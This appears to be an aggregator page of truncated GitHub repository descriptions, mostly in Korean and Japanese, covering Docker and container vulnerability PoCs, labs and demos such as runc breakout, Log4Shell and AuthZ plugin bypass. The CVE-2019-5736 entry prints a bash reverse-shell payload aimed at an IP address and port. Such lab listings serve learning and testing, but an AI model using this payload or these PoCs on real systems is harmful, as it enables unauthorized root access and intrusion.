dockerevil

dockerevil docker 기술에서 발견한 보안 결함을 저장하는 간단한 저장소 2016 - 2017 Docker API 권한 상승LPE/RPE 오프라인 서버/최소 이미지/TAR Dockerfile 빌드에서 권한 상승 Docker SUDO 권한 상승 PoC Nmap 스크립트 2019 CodeStudent1995 기반 익스플로잇 OpenShift 권한 상승oc docker에서 발견된 다른 멋진 보안 결함들: Docker API 남용이 Shadow Containers를 통한 하이퍼바이저 원격 코드 실행, 동일 출처 우회 및...

CVE-2026-39808

cve-id ⚡ シンプルな使い方 このプロジェクトは、安全で許可された環境でのみ使用してください。例えば： ローカル仮想マシン Docker コンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 設定例： git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / W...

CVE-2026-25177

cve-id ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 승인된 침투 테스트 환경 예제 설정: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate Windows Git Bash / WSL...

CVE-2022-27251

CVE-2022-27251 LocalStack 0.12.6에서의 원격 코드 실행 Lambda API handler 필드의 사용자 입력에 대한 검증sanitization 부재와 Docker 컨테이너가 안전하지 않은 방식으로 생성되는 문제로 인해, AWS CLI의 --handler 옵션을 통해 인젝션이 제공될 수 있으며, 0.12.6 버전에서 Lambda Docker 컨테이너를 생성하고 실행하는 동안 루트 프로세스에 의해 실행될 수 있습니다. 이 공격 벡터는 호스트에서 Lambda 기능이 활성화되어 있고, 공격자가 AWS CLI...

CVE-2021-44228-VULN-APP

CVE-2021-44228-VULN-APP 참고: 이것은 log4j 취약점이 실제로 무엇인지 보여주기 위한 취약한 가상 머신입니다, 등등! 설치: cd CVE-2021-44228-VULN-APP/ docker build -t log4j-shell-poc . docker run --network host log4j-shell-poc 포트 8080에서 수신 대기 중...

Docker-breakout-runc

runc를 통한 Docker 탈출 원출처: https://github.com/Frichetten/CVE-2019-5736-PoC. 이 저장소는 단순히 PoC를 가지고 장난쳐 보며 익스플로잇의 흐름을 파악하려는 시도입니다...

cve-2021-44228-log4j-test

cve-2021-44228-log4j-test 테스트 1. LDAP 서버와 해킹 파일 다운로드 서버 1.1 Docker-compose 실행 docker-compose.yml version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN: "dc=bumbing,dc=xyz" ports: - "389:1389" -...

cve-2016-10033-45

Para buildar os dockers: $ sudo docker build . -t ep4/5.2.17 troque 5.2.17 por 18 e 20. para rodar os dockers: $ sudo docker run -p 7001:80 ep4/5.2.17 troque por 7001/7002/7003 e 5.2.17/18/20 nas respectivas pastas...

CVE-2025-9074-Docker-Desktop-API-Escape-PoC

🐚 docker-shell 軽量で依存関係のない bash スクリプトで、Docker コンテナ内にエミュレートされた対話型シェル を提供します。使用するのは curl、dd、od、awk だけです。Python も jq もエディタも不要です。 生のシェルアクセスのみが利用可能で、Docker Engine API を介して Docker コンテナ内でコマンドを実行する必要がある環境向けに作られています。 🧠 仕組み Docker CLI を使う代わりに、このスクリプトは HTTP 経由で Docker Engine REST API に直接通信します（通常、Docker Deskt...

Snyk Scan

Bitbucket Pipelines Pipe: Snyk 이 파이프는 Snyk를 사용하여 앱 종속성과 Docker 이미지에서 알려진 취약점을 찾고, 수정하고, 모니터링합니다. YAML 정의 bitbucket-pipelines.yml 파일의 script 섹션에 다음 스니펫을 추가하세요: - pipe: snyk/snyk-scan:1.0.2 variables: SNYKTOKEN: "" LANGUAGE: "" Required unless SNYKTESTJSONINPUT is set IMAGENAME: "" Only required if...

CVE-2024-21626-demo

CVE-2024-21626-demo Container Runtime Meetup 5 LT용 데모입니다. 공지된 정보에 따라 공격의 위험성을 알리기 위한 목적이며, 악용은 엄격히 금지됩니다. 슬라이드 Container Runtime Meetup 5 〜그 이미지, 정말 신뢰할 수 있나요?〜 CVE-2024-21626로 호스트의 root를 탈취 victim-server에 로그인 데모용 노트북의 sshconfig에 victim-server로 등록되어 있는 머신입니다. ssh victim-server 피해를 입기 위한 전제 조건으로서의...

CVE-2026-34040-PoC

CVE-2026-34040 — Docker/Moby AuthZ Plugin Bypass Lab PoC KO: DockerMoby의 인가AuthZ 플러그인을 1MB를 초과하는 요청 본문 으로 우회하는 취약점의 실습용 재현 프로젝트입니다. EN: A lab reproduction of a vulnerability that bypasses Docker Moby authorization AuthZ plugins using an oversized 1MB request body. Vulnerability facts / 취약점 사실 Ite...

PT-2026-106257

Name of the Vulnerable Software and Affected Versions Docker Buildx Bake affected versions not specified Description Docker Buildx Bake fails to request the required fs.read approval for specific filesystem inputs. This allows an untrusted Bake definition to expose a readable file by using a...

heartbleed-bug

heartbleed-bug 이 저장소는 Heartbleed 취약점CVE-2014-0160과 이를 재현하는 방법을 설명하기 위한 것입니다. 테스트 목적으로만 사용해야 합니다! 설정 설명 docker 이미지 및 bee-box vm heartbleed 도구에 새로운 기능 추가 서버 데이터 생성 도구 추가 apache 서버용 보고서 및 비디오 작업 쿠키에 대한 설명 추가 서버에서 가져온 후 사용 방법 GitHub 저장소에 최종 보고서 추가 강사에게 허가 요청 GitHub 저장소에 도구 데모 비디오 링크 추가...

ensimag-secu3a-cve-2024-22416

CVE-2024-22416 참고 보고서: GHSA-pgpj-v85q-h5fm 이 저장소는 pyLoad 서버와 csrf.html만을 제공하는 공격자 서버를 모두 설정하는 docker compose 구성을 포함합니다. 직접 테스트하려면 docker composer up을 실행하세요 docker 외에 docker composer도 설치되어 있어야 합니다. 그런 다음 localhost:8000으로 이동합니다. 이곳은 pyLoad 로그인 페이지이며, 사용자 pyload와 비밀번호 pyload로 로그인합니다. 그런 다음...

android-kernel-exploitation

Android カーネルエクスプロイテーション 目的 このワークショップの目的は、Android プラットフォームにおけるカーネル脆弱性解析 とエクスプロイテーション を始めることです。 使用方法 リポジトリをクローンします git clone https://github.com/cloudfuzz/android-kernel-exploitation /workshop Github Pages URL https://cloudfuzz.github.io/android-kernel-exploitation/ ワークショップ動画 カーネル構築用 Docker Docker...

docker-confluence-patched

docker-confluence-patched 패치된 Confluence 7.12.2 CVE-2021-26084...

CVE-2026-73519-WolfStack-PoC

CVE-2026-73519 — WolfStack 하드코딩 클러스터 시크릿 → 비인증 RCE WolfStack에 내장된 하드코딩된 기본 인증 시크릿에 대한 PoC로, 원격의 인증되지 않은 공격자가 관리되는 모든 Docker/LXC 컨테이너 내부에서 root 권한으로 임의의 명령을 실행할 수 있게 합니다. | ---|--- CVE| CVE-2026-73519 CNA| VulnCheck 권고| GHSA-r3mw-2wmq-j6jg · VulnCheck 분석 CVSS 3.1| 9.8 치명적 —...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 사용법 : 해당 시스템은 CVE-2019-5736에 취약합니다. Runc 익스플로잇 CVE-2019-5736의 단계를 따르세요. main.go 파일을 다운로드하고, 파일 내 페이로드를 다음과 같이 변경하세요: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 그 후, 실행: go build main.go HTTP 서버 호스팅: python3 -m http.server 그런 다음 아래와 같이 3개의...

docker-log4shell

docker-log4shell CVE-2021-44228 취약점을 실험하기 위한 간단한 Go 앱 / Docker 이미지입니다. 간단한 파일 서버와 파일 서버에 호스팅된 모든 클래스를 제공하는 ldap 서버를 호스팅합니다: ldap://ip:1389/Hello - http://ip:8080/Hello.class docker build -t log4shell . docker run -it -v "path-to-classes:/files" -p 1389:1389 -p 8080:8080 -e HOST=localhost log4shel...